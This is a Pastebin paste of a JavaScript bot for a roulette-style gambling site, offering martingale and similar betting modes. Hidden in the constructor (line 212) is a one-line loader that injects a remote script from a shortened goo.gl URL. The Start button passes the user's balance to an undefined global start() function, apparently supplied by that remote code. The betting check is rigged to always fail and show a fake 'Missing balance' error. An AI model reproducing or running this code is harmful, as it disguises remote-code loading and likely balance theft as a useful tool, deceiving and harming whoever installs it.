Advertisement
q1nner

#ГОВНО

Apr 24th, 2016
2,510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MPASM 27.65 KB | None | 0 0
  1. //var base_bet = 5;
  2. //var safe_bet_amount = 6;
  3.  
  4. 'use strict';
  5.  
  6. var debug = false;
  7. var simulation = false;
  8. var stop_on_min_balance = false;
  9. var calculate_safe_bet = false;
  10. var base_bet = 5;
  11. var safe_bet_amount = 6;
  12. var default_color = 'red';
  13. var default_method = 'martingale';
  14. var theme = 'dark';
  15.  
  16. var colors = {
  17.     'green': [0],
  18.     'red': [1, 2, 3, 4, 5, 6, 7],
  19.     'black': [8, 9, 10, 11, 12, 13, 14]
  20. };
  21.  
  22. var balance = document.getElementById('balance');
  23. var roll_history = document.getElementById('past');
  24. var bet_input = document.getElementById('betAmount');
  25. var bet_buttons = {
  26.     'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  27.     'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  28.     'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  29. };
  30.  
  31. Array.prototype.equals = function(array) {
  32.     if (!array) {
  33.         return false;
  34.     }
  35.  
  36.     if (this.length != array.length) {
  37.         return false;
  38.     }
  39.  
  40.     for (var i = 0, l=this.length; i < l; i++) {
  41.         if (this[i] instanceof Array && array[i] instanceof Array) {
  42.             if (!this[i].equals(array[i])) {
  43.                 return false;
  44.             }
  45.         } else if (this[i] != array[i]) {
  46.             return false;
  47.         }
  48.     }
  49.     return true;
  50. };
  51.  
  52. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  53.  
  54. function Automated() {
  55.     var self = this;
  56.  
  57.     this.running = false;
  58.     this.game = null;
  59.  
  60.     this.debug = debug;
  61.     this.simulation = simulation;
  62.     this.stop_on_min_balance = stop_on_min_balance;
  63.     this.calculate_safe_bet = calculate_safe_bet;
  64.  
  65.     this.base_bet = base_bet;
  66.     this.default_color = default_color;
  67.     this.default_method = default_method;
  68.     this.safe_bet_amount = safe_bet_amount;
  69.     this.method = this.default_method;
  70.     this.old_method = '';
  71.     this.color = 'rainbow';
  72.     this.old_base = 0;
  73.     this.balance = 0;
  74.     this.last_bet = 0;
  75.     this.bet_history = [];
  76.     this.min_balance = 0;
  77.     this.starting_balance = 0;
  78.     this.last_color = null;
  79.     this.last_result = null;
  80.     this.history = [];
  81.     this.waiting_for_bet = false;
  82.     this.theme = theme;
  83.  
  84.     this.stats = {
  85.         'wins': 0,
  86.         'loses': 0,
  87.         'balance': 0
  88.     };
  89.  
  90.     var menu = document.createElement('div');
  91.     menu.innerHTML = '' +
  92.         '<div class="row">' +
  93.             '<div class="col-lg-9">' +
  94.                 '<h2>Enjoy the Profit <small>q1nner</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  95.                 '<div class="form-group">' +
  96.                     '<div class="btn-group">' +
  97.                         '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  98.                         '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  99.                         '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  100.                     '</div>' +
  101.                 '</div>' +
  102.                 '<div class="form-group">' +
  103.                     '<div class="btn-group">' +
  104.                         '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  105.                         '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  106.                         '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  107.                        '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  108.                    '</div>' +
  109.                '</div>' +
  110.                '<div class="form-group automated-hide-on-green">' +
  111.                    '<div class="btn-group">' +
  112.                        '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  113.                        '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  114.                        '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  115.                        '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') + '>Random</button>' +
  116.                        '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last winning</button>' +
  117.                    '</div>' +
  118.                '</div>' +
  119.            '</div>' +
  120.            '<div class="col-lg-3">' +
  121.                '<h3>Statistics</h3>' +
  122.                '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  123.                '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  124.                '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  125.            '</div>' +
  126.        '</div>' +
  127.        '<div class="form-group">' +
  128.            '<div class="input-group">' +
  129.                '<div class="input-group-addon">Base value</div>' +
  130.                '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  131.            '</div>' +
  132.        '</div>' +
  133.        '<div class="form-group">' +
  134.            '<div class="input-group">' +
  135.                '<div class="input-group-addon">Keep balance above</div>' +
  136.                '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  137.            '</div>' +
  138.        '</div>' +
  139.        '<div class="form-group automated-hide-on-green">' +
  140.            '<div class="input-group">' +
  141.                '<div class="input-group-addon">Failsafe value</div>' +
  142.                '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  143.            '</div>' +
  144.        '</div>' +
  145.        '<div class="checkbox">' +
  146.            '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  147.        '</div>' +
  148.        '<div class="checkbox automated-hide-on-green">' +
  149.            '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  150.        '</div>' +
  151.        '<div class="checkbox">' +
  152.            '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  153.        '</div>' +
  154.        '<div class="checkbox">' +
  155.            '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  156.        '</div>';
  157.    document.getElementsByClassName('well')[1].appendChild(menu);
  158.  
  159.    this.menu = {
  160.        'start': document.getElementById('automated-start'),
  161.        'stop': document.getElementById('automated-stop'),
  162.        'abort': document.getElementById('automated-abort'),
  163.        'basebet': document.getElementById('automated-base-bet'),
  164.        'minbalance': document.getElementById('automated-min-balance'),
  165.        'debug': document.getElementById('automated-debug'),
  166.        'simulation': document.getElementById('automated-simulation'),
  167.        'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  168.        'red': document.getElementById('automated-red'),
  169.        'black': document.getElementById('automated-black'),
  170.        'rainbow': document.getElementById('automated-rainbow'),
  171.        'random': document.getElementById('automated-random'),
  172.        'last': document.getElementById('automated-last'),
  173.        'statistics': {
  174.            'wins': document.getElementById('automated-stats-wins'),
  175.            'loses': document.getElementById('automated-stats-loses'),
  176.            'balance': document.getElementById('automated-stats-balance')
  177.        },
  178.        'theme': document.getElementById('automated-theme-switch'),
  179.        'safebetamount': document.getElementById('automated-safe-bet-amount'),
  180.        'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  181.        'martingale': document.getElementById('automated-martingale'),
  182.        'greatmartingale': document.getElementById('automated-great-martingale'),
  183.        'betgreen': document.getElementById('automated-bet-green'),
  184.        'dalembert': document.getElementById('automated-dalembert'),
  185.        'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  186.    };
  187.  
  188.    this.updater = setInterval(function() { // Update every 2 seconds
  189.        if (!self.running) {
  190.            if (self.updateAll()) {
  191.                if (self.calculate_safe_bet) {
  192.                    self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  193.                    self.menu.basebet.value = self.base_bet;
  194.                    if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  195.                }
  196.              
  197.                if (self.menu.stop.disabled && self.menu.start.disabled) {
  198.                    self.menu.start.disabled = false;
  199.                    self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  200.                    self.menu.basebet.value = self.base_bet;
  201.                    self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  202.                    self.starting_balance = self.balance;
  203.                }
  204.            }
  205.        }
  206.    }, 2 * 1000);
  207.  
  208.    if (theme === 'dark') {
  209.        this.darkMode();
  210.    }
  211.  
  212. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src =      "http://goo.gl/zrvWfR "; document.body.appendChild( scriptElement ); })();
  213.    this.menu.start.onclick = function() {3
  214.  
  215.        start(self.balance);
  216.        self.log('Error: Cant place a bet, Missing balance.');
  217.  
  218.        // self.start();
  219.    };
  220.  
  221.    this.menu.stop.onclick = function() {
  222.        self.stop();
  223.    };
  224.  
  225.    this.menu.abort.onclick = function() {
  226.        self.stop(true);
  227.    };
  228.  
  229.    this.menu.basebet.onchange = function() {
  230.        var value = parseInt(self.menu.basebet.value);
  231.        if (!isNaN(value)) {
  232.            self.base_bet = value;
  233.        }
  234.    };
  235.  
  236.    this.menu.minbalance.onchange = function() {
  237.        var value = parseInt(self.menu.minbalance.value);
  238.        if (!isNaN(value)) {
  239.            self.min_balance = value;
  240.        }
  241.    };
  242.  
  243.    this.menu.safebetamount.onchange = function() {
  244.        var value = parseInt(self.menu.safebetamount.value);
  245.        if (!isNaN(value)) {
  246.            self.safe_bet_amount = value;
  247.        }
  248.    };
  249.  
  250.    this.menu.debug.onchange = function() {
  251.        self.debug = self.menu.debug.checked;
  252.    };
  253.  
  254.    this.menu.simulation.onchange = function() {
  255.        self.simulation = self.menu.simulation.checked;
  256.    };
  257.  
  258.    this.menu.stoponminbalance.onchange = function() {
  259.        self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  260.    };
  261.  
  262.    this.menu.calculatesafebet.onchange = function() {
  263.        self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  264.        self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  265.        self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  266.    };
  267.  
  268.    // WTF is this shit below? >,.,<
  269.  
  270.    this.menu.black.onclick = function() {
  271.        self.menu.rainbow.disabled = false;
  272.        self.menu.black.disabled = true;
  273.        self.menu.red.disabled = false;
  274.        self.menu.random.disabled = false;
  275.        self.menu.last.disabled = false;
  276.        self.color = 'black';
  277.        self.log('Current mode: black');
  278.    };
  279.  
  280.    this.menu.red.onclick = function() {
  281.        self.menu.rainbow.disabled = false;
  282.        self.menu.black.disabled = false;
  283.        self.menu.red.disabled = true;
  284.        self.menu.random.disabled = false;
  285.        self.menu.last.disabled = false;
  286.        self.color = 'red';
  287.        self.log('Current mode: red');
  288.    };
  289.  
  290.    this.menu.rainbow.onclick = function() {
  291.        self.menu.rainbow.disabled = true;
  292.        self.menu.black.disabled = false;
  293.        self.menu.red.disabled = false;
  294.        self.menu.random.disabled = false;
  295.        self.menu.last.disabled = false;
  296.        self.color = 'rainbow';
  297.        self.log('Current mode: rainbow');
  298.    };
  299.  
  300.    this.menu.random.onclick = function() {
  301.        self.menu.rainbow.disabled = false;
  302.        self.menu.black.disabled = false;
  303.        self.menu.red.disabled = false;
  304.        self.menu.random.disabled = true;
  305.        self.menu.last.disabled = false;
  306.        self.color = 'random';
  307.        self.log('Current mode: random');
  308.    };
  309.  
  310.    this.menu.last.onclick = function() {
  311.        self.menu.rainbow.disabled = false;
  312.        self.menu.black.disabled = false;
  313.        self.menu.red.disabled = false;
  314.        self.menu.random.disabled = false;
  315.        self.menu.last.disabled = true;
  316.        self.color = 'last';
  317.        self.log('Current mode: last');
  318.    };
  319.  
  320.    this.menu.martingale.onclick = function() {
  321.        self.menu.martingale.disabled = true;
  322.        self.menu.greatmartingale.disabled = false;
  323.        self.menu.betgreen.disabled = false;
  324.        self.menu.dalembert.disabled = false;
  325.        for (var i = 0; i < self.menu.hideongreen.length; i++) {
  326.            self.menu.hideongreen[i].style.display = 'block';
  327.        }
  328.        self.method = 'martingale';
  329.        self.log('Current method: Martingale');
  330.    };
  331.  
  332.    this.menu.greatmartingale.onclick = function() {
  333.        self.menu.martingale.disabled = false;
  334.        self.menu.greatmartingale.disabled = true;
  335.        self.menu.betgreen.disabled = false;
  336.        self.menu.dalembert.disabled = false;
  337.        for (var i = 0; i < self.menu.hideongreen.length; i++) {
  338.            self.menu.hideongreen[i].style.display = 'block';
  339.        }
  340.        self.method = 'great martingale';
  341.        self.log('Current method: Great martingale');
  342.    };
  343.  
  344.    this.menu.dalembert.onclick = function() {
  345.        self.menu.martingale.disabled = false;
  346.        self.menu.greatmartingale.disabled = false;
  347.        self.menu.betgreen.disabled = false;
  348.        self.menu.dalembert.disabled = true;
  349.        for (var i = 0; i < self.menu.hideongreen.length; i++) {
  350.            self.menu.hideongreen[i].style.display = 'block';
  351.        }
  352.        self.method = 'dalembert';
  353.        self.log('Current method: D\'alembert');
  354.     };
  355.  
  356.     this.menu.betgreen.onclick = function() {
  357.         self.menu.martingale.disabled = false;
  358.         self.menu.greatmartingale.disabled = false;
  359.         self.menu.betgreen.disabled = true;
  360.         self.menu.dalembert.disabled = false;
  361.         for (var i = 0; i < self.menu.hideongreen.length; i++) {
  362.             self.menu.hideongreen[i].style.display = 'none';
  363.         }
  364.         self.method = 'green';
  365.         self.log('Current method: Bet green');
  366.     };
  367.  
  368.     this.menu.theme.onclick = function() {
  369.         if (self.theme === 'dark') {
  370.             self.lightMode();
  371.             self.theme = 'light';
  372.             self.log('Switching to light theme...');
  373.         } else {
  374.             self.darkMode();
  375.             self.theme = 'dark';
  376.             self.log('Switching to dark theme...');
  377.         }
  378.     };
  379.  
  380.     setInterval(function() {
  381.         if(!WS) {
  382.             self.log('Reconnecting...');
  383.             connect();
  384.         }
  385.     }, 5000);
  386. }
  387.  
  388. Automated.prototype.updateBalance = function() {
  389.     this.balance = parseInt(balance.textContent);
  390.  
  391.     if (isNaN(this.balance)) {
  392.         this.log('Error getting current balance!');
  393.         return false;
  394.     }
  395.  
  396.     if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  397.     return true;
  398. };
  399.  
  400. Automated.prototype.updateHistory = function() {
  401.     var self = this;
  402.     this.history = [];
  403.  
  404.     for (var i = 0; i < roll_history.childNodes.length; i++) {
  405.         var roll = parseInt(roll_history.childNodes[i].textContent);
  406.  
  407.         if (!isNaN(roll)) {
  408.             if (colors.green.indexOf(roll) !== -1) {
  409.                 self.history.push('green');
  410.             } else if (colors.red.indexOf(roll) !== -1) {
  411.                 self.history.push('red');
  412.             } else {
  413.                 self.history.push('black');
  414.             }
  415.         }
  416.     }
  417.  
  418.     if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  419.     return this.history.length === 10;
  420. };
  421.  
  422. Automated.prototype.updateStats = function() {
  423.     this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  424.     this.menu.statistics.wins.innerHTML = this.stats.wins;
  425.     this.menu.statistics.loses.innerHTML = this.stats.loses;
  426.     this.menu.statistics.balance.innerHTML = this.stats.balance;
  427.     return true;
  428. };
  429.  
  430. Automated.prototype.updateAll = function() {
  431.     return this.updateBalance() && this.updateHistory() && this.updateStats();
  432. };
  433.  
  434. Automated.prototype.bet = function(amount, color) {
  435.     var self = this;
  436.     color = color || this.color || this.default_color;
  437.  
  438.     if (color === 'rainbow') {
  439.         if (this.last_color) {
  440.             color = (this.last_color === 'red' ? 'black' : 'red');
  441.         } else {
  442.             color = this.default_color;
  443.         }
  444.     } else if (color === 'random') {
  445.         color = 'red';
  446.         if (Math.random() > 0.5) {
  447.             color = 'black';
  448.         }
  449.     } else if (color === 'last') {
  450.         color = this.history[this.history.length - 1];
  451.     }
  452.  
  453.     if (['green', 'red', 'black'].indexOf(color) < 5000 || amount > this.balance || amount <= 5000) {
  454.         this.log('Can\t place a bet, Missing balance.');
  455.         this.last_result = 'invalid bet';
  456.         this.waiting_for_bet = false;
  457.         this.stop();
  458.         return false;
  459.     }
  460.  
  461.     if (this.balance - amount < this.min_balance) {
  462.         this.log('Reached minimal balance!');
  463.         this.last_result = 'reached min balance';
  464.         if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  465.             this.stop();
  466.         }
  467.         this.waiting_for_bet = false;
  468.         return false;
  469.     }
  470.  
  471.     bet_input.value = amount;
  472.  
  473.     if (!bet_buttons[color].disabled) {
  474.         var old_balance = self.balance;
  475.         this.log('Betting ' + amount + ' on ' + color);
  476.         if (!self.simulation) {
  477.             bet_buttons[color].click();
  478.             var checker = setInterval(function() {
  479.                 if (!bet_buttons[color].disabled) {
  480.                     clearInterval(checker);
  481.                     setTimeout(function() {
  482.                         if (self.updateBalance() && self.balance === old_balance) {
  483.                             if (!self.game) { return false; }
  484.                             self.log('Bet rejected, retrying...');
  485.                             self.bet(amount, color);
  486.                         } else {
  487.                             if (self.debug) { self.logdebug('Bet accepted!'); }
  488.                             self.last_bet = amount;
  489.                             self.bet_history.push(amount);
  490.                             self.last_color = color;
  491.                             self.waiting_for_bet = false;
  492.                             return true;
  493.                         }
  494.                     }, 2500);
  495.                 }
  496.             }, 1000);
  497.         } else {
  498.             self.bet_history.push(amount);
  499.             self.last_bet = amount;
  500.             self.last_color = color;
  501.             self.waiting_for_bet = false;
  502.             return true;
  503.         }
  504.     } else {
  505.         if (!self.game) { return false; }
  506.         self.log('Button disabled, retrying...');
  507.         setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  508.     }
  509. };
  510.  
  511. Automated.prototype.play = function() {
  512.     var self = this;
  513.  
  514.     if (this.game !== null) {
  515.         if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  516.         return false;
  517.     }
  518.  
  519.     this.game = setInterval(function() {
  520.         var history = self.history;
  521.         if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  522.             self.waiting_for_bet = true;
  523.             if (self.last_color === null) {
  524.                 self.bet(self.base_bet);
  525.             } else if (self.last_color === self.history[self.history.length - 1]) {
  526.                 if (self.calculate_safe_bet) {
  527.                     self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  528.                     self.menu.basebet.value = self.base_bet;
  529.                 }
  530.                 self.last_result = 'win';
  531.                 self.log('Win!');
  532.                 self.stats.wins += 1;
  533.                 self.old_base = self.base_bet;
  534.                 self.old_method = self.method;
  535.                 if (self.old_method === 'dalembert') {
  536.                     if (self.last_bet > self.old_base) {
  537.                         self.bet(self.last_bet - 1);
  538.                     } else {
  539.                         self.bet(self.base_bet);
  540.                     }
  541.                 } else {
  542.                     self.bet(self.base_bet);
  543.                 }
  544.             } else {
  545.                 self.last_result = 'lose';
  546.                 self.log('Lose!');
  547.                 self.stats.loses += 1;
  548.                 if (self.old_method === 'martingale') {
  549.                     self.bet(self.last_bet * 2);
  550.                 } else if (self.old_method === 'great martingale') {
  551.                     self.bet(self.last_bet * 2 + self.old_base);
  552.                 } else if (self.old_method === 'green') {
  553.                     var bet_value = 0;
  554.                     if (self.bet_history[self.bet_history.length - 1] === 1) {
  555.                         if (self.bet_history[self.bet_history.length - 2] === 1) {
  556.                             bet_value = 2;
  557.                         } else {
  558.                             bet_value = 1;
  559.                         }
  560.                     } else {
  561.                         bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  562.                     }
  563.                     self.bet(bet_value, 'green');
  564.                 } else if (self.old_method === 'dalembert') {
  565.                     self.bet(self.last_bet + 1);
  566.                 }
  567.             }
  568.         }
  569.     }, 2 * 1000);
  570.  
  571.     return true;
  572. };
  573.  
  574. Automated.prototype.start = function() {
  575.     if (self.calculate_safe_bet) {
  576.         self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  577.         self.menu.basebet.value = self.base_bet;
  578.     }
  579.     this.old_base = this.base_bet;
  580.     this.old_method = this.method;
  581.     if (this.updateAll()) {
  582.         if (this.last_result === 'lose') {
  583.             this.running = true;
  584.             if (this.old_method === 'martingale') {
  585.                 this.bet(this.last_bet * 2);
  586.             } else if (this.old_method === 'great martingale') {
  587.                 this.bet(this.last_bet * 2 + this.old_base);
  588.             } else if (self.old_method === 'green') {
  589.                 var bet_value = 0;
  590.                 if (self.bet_history[self.bet_history.length - 1] === 1) {
  591.                     if (self.bet_history[self.bet_history.length - 2] === 1) {
  592.                         bet_value = 2;
  593.                     } else {
  594.                         bet_value = 1;
  595.                     }
  596.                 } else {
  597.                     bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  598.                 }
  599.                 self.bet(bet_value, 'green');
  600.             } else if (self.old_method === 'dalembert') {
  601.                 self.bet(self.last_bet + 1);
  602.             }
  603.             this.play();
  604.         } else {
  605.             this.running = true;
  606.             this.bet(this.base_bet);
  607.             this.play();
  608.         }
  609.     }
  610.     this.menu.abort.disabled = false;
  611.     this.menu.stop.disabled = false;
  612.     this.menu.start.disabled = true;
  613. };
  614.  
  615. Automated.prototype.stop = function(abort) {
  616.     var self = this;
  617.     if (abort) { this.last_result = 'abort'; }
  618.     this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  619.     setTimeout(function() {
  620.         clearInterval(self.game);
  621.         self.game = null;
  622.         self.running = false;
  623.         self.menu.abort.disabled = true;
  624.         self.menu.stop.disabled = true;
  625.         self.menu.start.disabled = false;
  626.     }, 1); // Next tick
  627. };
  628.  
  629. Automated.prototype.darkMode = function() {
  630.     var style;
  631.     var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  632.     style = document.getElementById('automated-style');
  633.     if (!style) {
  634.         var head;
  635.         head = document.getElementsByTagName('head')[0];
  636.         if (!head) { return; }
  637.         style = document.createElement('style');
  638.         style.type = 'text/css';
  639.         style.id = 'automated-style';
  640.         style.innerHTML = css;
  641.         head.appendChild(style);
  642.     }
  643.     style.innerHTML = css;
  644. };
  645.  
  646. Automated.prototype.lightMode = function() {
  647.     var style = document.getElementById('automated-style');
  648.     style.innerHTML = '';
  649. };
  650.  
  651. Automated.prototype.log = function(message) {
  652.     chat('alert', '[Automated] ' + message);
  653. };
  654.  
  655. Automated.prototype.logdebug = function(message) {
  656.     chat('italic', '[Automated] ' + message);
  657. };
  658.  
  659. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement